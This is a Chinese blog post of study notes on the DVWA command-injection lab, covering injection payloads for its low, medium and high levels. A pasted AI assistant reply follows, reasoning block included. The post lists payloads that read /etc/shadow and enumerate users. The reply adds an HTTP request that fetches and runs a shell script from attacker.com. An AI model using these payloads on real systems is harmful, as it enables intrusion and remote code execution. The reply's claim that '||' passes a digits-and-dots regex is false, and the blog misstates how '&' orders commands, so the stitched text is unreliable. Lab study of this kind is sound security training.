dvwa之Command Injection (命令注入)(部分内容转自大佬)

本文介绍了命令注入攻击的基本概念及其在PHP应用中的实现方式。详细分析了低、中、高级别防护措施下的攻击手段,并提供了具体的绕过案例。

Command Injection

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。

low:


代码:


相关函数介绍 

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值a (此为默认,包含序列s n r v m里的所有模式),s (返回操作系统名称),n(返回主机名), r(返回版本名称),v(返回版本信息), m(返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

window和linux系统都可以用&&来执行多条命令

192.168.1.1&&net user(windows和linux都可以使用)

命令连接符(可以使用cmd进行验证)

1.        command1 && command2   先执行command1后执行command2

2.          command1 | command2     只执行command2

指令:127.0.0.1 | net user


3.    command1 & command2    先执行command2后执行command1

命令:192.168.1.1 & net user


以上三种连接符在windows和linux环境下都支持

如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。

而且在Linux下输入192.168.1.1&& cat /etc/shadow甚至可以读取shadow文件(shadow文件是passwd的影子文件)

Medium


相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。因为被过滤的只有”&&”与”;”,所以”&”不会受影响。

由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过:(就像是xss中的双写一样<scr<script>ipt>alert(/xss/)</script>绕过一样)

:


      192.168.1.1 &;& ipconfig

这是因为”192.168.1.1&;& ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”192.168.1.1&& ipconfig” ,会成功执行。


同理: 192.168.1.1 &; net user也可以


就算是顺序反过来也是不影响的(;和&符号)



或者是 192.168.1.1 ;| net user



High



相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。


漏洞利用


黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是    ”|” 就有用了。(感觉有点扯。。。。)




直接使用: 192.168.1.1 |net user(|net 之间不要有空格,不然就被转义了。。。)




部分数据来自于互联网,本文只是自己的学习笔记,斟酌使用











<think>嗯,用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法,需要详细步骤和示例。首先,我得回忆一下DVWA的基本设置,尤其是命令注入的模块。用户可能已经知道DVWA是什么,但可能需要先登录到Low安全级别开始测试。 首先,命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWACommand Injection模块,用户输入一个IP地址,然后系统执行ping命令。这时候,如果输入没有经过严格的过滤,攻击者可以注入额外的命令。 比如,在Low安全级别下,后端代码可能直接拼接用户输入的参数到ping命令中,而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`,分号后面的命令就会被执行。这时候需要给出具体的示例,比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来,不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号,但可能没有完全覆盖,这时候需要测试哪些符号被义或过滤了。比如,可能过滤了`;`和`&&`,但`|`可能仍然可用,或者需要尝试其他绕过方法,比如用`%0a`(换行符)来分隔命令。 High级别的防护可能更严格,可能只允许特定的输入格式,比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性,比如使用`127.0.0.1 || ls`,如果代码检查IP格式是否合法,但后面的命令仍然会被执行的话。或者,使用反引号执行命令,如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法,这时候基本无法注入,需要说明其防护机制,比如使用escapeshellarg函数处理参数。 在漏洞利用示例中,要分级别展示不同的注入方式,并说明如何通过Burp Suite这样的工具拦截请求,修改参数,或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异,比如Windows和Linux的符号可能不同,但DVWA通常运行在Linux环境下。 另外,生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入,或者DVWA其他漏洞模块的测试方法,比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试,避免法律问题。 现在需要确保回答结构清晰,步骤正确,示例准确,并且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法,比如使用反斜杠义或者编码绕过过滤。同时,要确保给出的代码示例正确,比如PHP中可能存在漏洞的代码部分,以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下,攻击者通过拼接系统命令实现任意命令执行。DVWACommand Injection模块模拟了`ping`功能,其基础命令为: $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时,可注入额外命令[^1]。 ## 二、安全测试步骤(分安全等级) ### 1. Low安全级别 **测试方法**: ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**: - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**: ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**: ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**: ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**: ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**: ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**: ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载并执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证: ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理: ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值